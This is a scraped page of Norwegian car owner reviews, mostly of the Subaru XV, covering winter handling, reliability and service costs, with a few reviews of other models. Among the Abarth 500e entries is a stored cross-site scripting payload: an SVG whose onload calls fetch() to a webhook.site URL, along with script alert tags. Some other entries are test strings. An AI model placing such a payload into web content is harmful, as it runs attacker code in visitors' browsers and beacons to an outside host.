Subaru XV (2020)
En skjult liten perle av en bil, og godt er det. Det muliggjør gode kjøp for "oss som vet hva dette er"... En gang Subaru-eier, alltid Subaru-eier er det noe som heter. Vel, dette er min 6. Subaru
Subaru XV (2020)
Grei bil.
Subaru XV (2018)
Det er den beste bil jeg har eid eller lettere sagt eier. Sikkerhet, komfort, framkommelighet, ingen overraskelser. Meget god kvalitet på interiør og eksteriør. Storkoser meg med denne bilen.
Subaru XV (2018)
flott bil
Subaru XV (2018)
Suveren vinterbil og glimrende firehjulstrekk.
Subaru XV (2018)
Mye bil for pengene,ble veldig overasket da jeg fikk min bil,forventningene om hvordan bilen var innvendig var spennende,men overraskende fin innvendig med mange fine detaljer.Jeg har en Mørk Blå Pe
Subaru XV (2018)
Nye xv er en helt annen bil en den forrige. Finner du en billiger bil med 4x4 automat og 156 hk og mye utstyr er du god. Har hatt bilen i 4 år.Skiftet bremseskive på 1 hjul,ellers ingen ting. 0,6 L
Subaru XV (2017)
Traust og solid bil som sikrer deg et trygt og sikkert bilhold i mange år.
Subaru XV (2017)
Prøvekjørte en xv, solgt! Kompakt, lett og fin bil å kjøre. Sporty.
Subaru XV (2017)
Jeg har hatt datsun,senere nissan,toyota,vw,mazda,ford cortina,taunus,granada og skoda.Har ikke hatt mersedes ,men det har mine søsken hatt. Jeg har en subaru legacy fra 1991. Kjører med samme eksos
Subaru XV (2016)
Kort og godt en vinterperle med god bakkeklaring (22 cm), av god kvalitet og trygge, fine kjøreegenskaper! En bil man blir glad i!
Subaru XV (2016)
En trygg, komfortabel, litt treg, men trofast følgesvenn langs veien.
Subaru XV (2016)
Veldig god bil som passer på varierende kjøreforhold,
Subaru XV (2016)
Dette er en bil til alsidig bruk, med en fantastisk 4 hjulstrekk, man kan føle seg trygg i denne under alle forhold, 22cm bakkeklaring er også en fin ting. , og bilen har et røft sportslig utsende.
Subaru XV (2015)
Meget fornøyd med bilen.Sitter høyt med god oversikt.Topp vinterbil med god høyde.
Subaru XV (2015)
Dette er Subaru nr.7. Kjøpte den første i 77, av de aller første 4wd. Har prøvd andre merker underveis men heretter, bare Subaru.
Subaru XV (2014)
Har hatt denne i 6 år. Problemfritt. Suveren på vinterføre. Anbefales
Subaru XV (2014)
Kjempe fornøyd og man gleder seg til å kjøre
Subaru XV (2014)
Subaru nr. 3 - samme gode erfaring med alle. CVT girkasse morsom.
Subaru XV (2013)
Billig og driftsikker men oppleves kjedelig og bråkete under kjøring.
Subaru XV (2013)
Meget grei og robust kompakt SUV med gode kjøreegenskaper.
Subaru XV (2013)
Meget driftsikker og service vennlig bil. Anbefalt å kjøpe.
Subaru XV (2013)
Etterat bilen har fått noe "styling", som ekstra bakspoiler, vindus-"markiser", sports-grill, XV-emblemer nede på dørene og plastdeksler under foran og i dørstolpen bak, fremstår bilen som "tøff
Subaru XV (2013)
Er veldig fornøyd med bilen. Føler meg trygg på veien uansett føre. Litt små klønete knapper på stereoen men det lar seg bruke fint med knapper på ratt. Clutchen havarerte på 60 000 men veldi
Subaru XV (2012)
Billig bil å eie. Går bra, med godt bunndrag. Suverent firehjulstrekk-system (tross subarus enkleste system). God plass, men med hundebur i bagasjen, anbefales skiboks el. når familie på fire med
Subaru XV (2012)
Ok bil i forhold til pris, men dyrt vedlikehold gjør det tvilsomt med ny Subaru
Subaru XV (2012)
Bare digger bilen, min er av eldre årgang 2013. Eneste jeg savner er litt mere kraft i motoren ca50hester xtra
Subaru XV (2012)
En praktisk bil med et fabelaktig firehjulsdriftssystem. Kommer seg opp bratte og glatte bakker uten å slure. Ikke den mest komfortable bilen på markedet. 1,6 har for svakt dreiemoment. Støyisoler
Subaru XV (2012)
Kjøpte Subaru for å ha en holdbar kvalitetsbil, men den gang ei! Styr unna, her kommer det overraskelser! Volvoen vår er billigere i drift, forsikring, drivstoff og serviceutgifter på XC60 er fakt
Subaru XV (2012)
Bilen er grei på alle måter. Fungerer bra til mitt behov. Har så langt ikke hatt noe problemer med den.
Subaru XV (2012)
Svært godt fornøyd med bil og servive
Subaru XV (2012)
Hatt denne demobilen siden den var 6 mnd. Eneste utgifter er normale slitedeler og service
Subaru XV (2012)
Gode kjøreegenskaper. Suveren på vinterføre. Brukbar kupeplass etter biltype. Alt for høye servicekostnader og delepriser gjør det usikkert om det blir Subaru igjen.
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km